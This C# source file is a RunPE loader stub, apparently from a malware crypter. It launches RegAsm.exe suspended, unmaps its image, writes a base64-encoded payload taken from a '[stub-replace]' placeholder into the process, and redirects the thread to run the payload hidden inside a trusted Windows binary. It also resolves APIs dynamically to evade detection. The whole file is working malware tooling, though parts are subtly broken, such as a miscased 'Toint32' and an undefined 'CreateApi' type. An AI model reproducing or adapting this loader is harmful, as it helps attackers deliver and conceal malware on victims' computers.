using Microsoft.VisualBasic; using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; namespace RunPE { public static class RunPE { #region API delegate private delegate int DelegateResumeThread(IntPtr handle); private delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context); private delegate bool DelegateSetThreadContext(IntPtr thread, int[] context); private delegate bool DelegateWow64GetThreadContext(IntPtr thread, int[] context); private delegate bool DelegateGetThreadContext(IntPtr thread, int[] context); private delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); private delegate bool DelegateWriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); private delegate bool DelegateReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); private delegate int DelegateZwUnmapViewOfSection(IntPtr process, int baseAddress); private delegate bool DelegateCreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, int creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); #endregion #region API private static readonly DelegateResumeThread ResumeThread = LoadApi("kernel32", "ResumeThread"); private static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi("kernel32", "Wow64SetThreadContext"); private static readonly DelegateSetThreadContext SetThreadContext = LoadApi("kernel32", "SetThreadContext"); private static readonly DelegateWow64GetThreadContext Wow64GetThreadContext = LoadApi("kernel32", "Wow64GetThreadContext"); private static readonly DelegateGetThreadContext GetThreadContext = LoadApi("kernel32", "GetThreadContext"); private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi("kernel32", "VirtualAllocEx"); private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi("kernel32", "WriteProcessMemory"); private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi("kernel32", "ReadProcessMemory"); private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi("ntdll", "ZwUnmapViewOfSection"); private static readonly DelegateCreateProcessA CreateProcessA = LoadApi("kernel32", "CreateProcessA"); #endregion #region CreateAPI [DllImport("kernel32", SetLastError = true)] private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); private static CreateApi LoadApi(string name, string method) { return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)); } #endregion #region Structure [StructLayout(LayoutKind.Sequential, Pack = 0x1)] private struct ProcessInformation { public readonly IntPtr ProcessHandle; public readonly IntPtr ThreadHandle; public readonly int ProcessId; private readonly int ThreadId; } [StructLayout(LayoutKind.Sequential, Pack = 0x1)] private struct StartupInformation { public int Size; private readonly string Reserved1; private readonly string Desktop; private readonly string Title; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc; private readonly IntPtr Reserved2; private readonly IntPtr StdInput; private readonly IntPtr StdOutput; private readonly IntPtr StdError; } #endregion public static void Main() { string path = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"); byte[] payload = Convert.FromBase64String(Strings.StrReverse("[stub-replace]")); for (int i = 0; i < 5; i++) { int readWrite = 0x0; StartupInformation si = new StartupInformation(); ProcessInformation pi = new ProcessInformation(); si.Size = Convert.Toint32(Marshal.SizeOf(typeof(StartupInformation))); try { if (!CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) throw new Exception(); int fileAddress = BitConverter.ToInt32(payload, 0x3C); int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34); int[] context = new int[0xB3]; context[0x0] = 0x10002; if (IntPtr.Size == 0x4) { if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } else { if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } int ebx = context[0x29]; int baseAddress = 0x0; if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite)) throw new Exception(); if (imageBase == baseAddress) if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0x0) throw new Exception(); int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50); int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54); bool allowOverride = false; int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40); if (newImageBase == 0x0) throw new Exception(); if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) throw new Exception(); int sectionOffset = fileAddress + 0xF8; short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6); for (int I = 0; I < numberOfSections; I++) { int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC); int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10); int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14); if (sizeOfRawData != 0x0) { byte[] sectionData = new byte[sizeOfRawData]; Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0x0, sectionData.Length); if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception(); } sectionOffset += 0x28; } byte[] pointerData = BitConverter.GetBytes(newImageBase); if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite)) throw new Exception(); int addressOfEntryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28); if (allowOverride) newImageBase = imageBase; context[0x2C] = newImageBase + addressOfEntryPoint; if (IntPtr.Size == 0x4) { if (!SetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } else { if (!Wow64SetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } if (ResumeThread(pi.ThreadHandle) == -1) throw new Exception(); } catch { Process.GetProcessById(Convert.ToInt32(pi.ProcessId)).Kill(); continue; } break; } } } }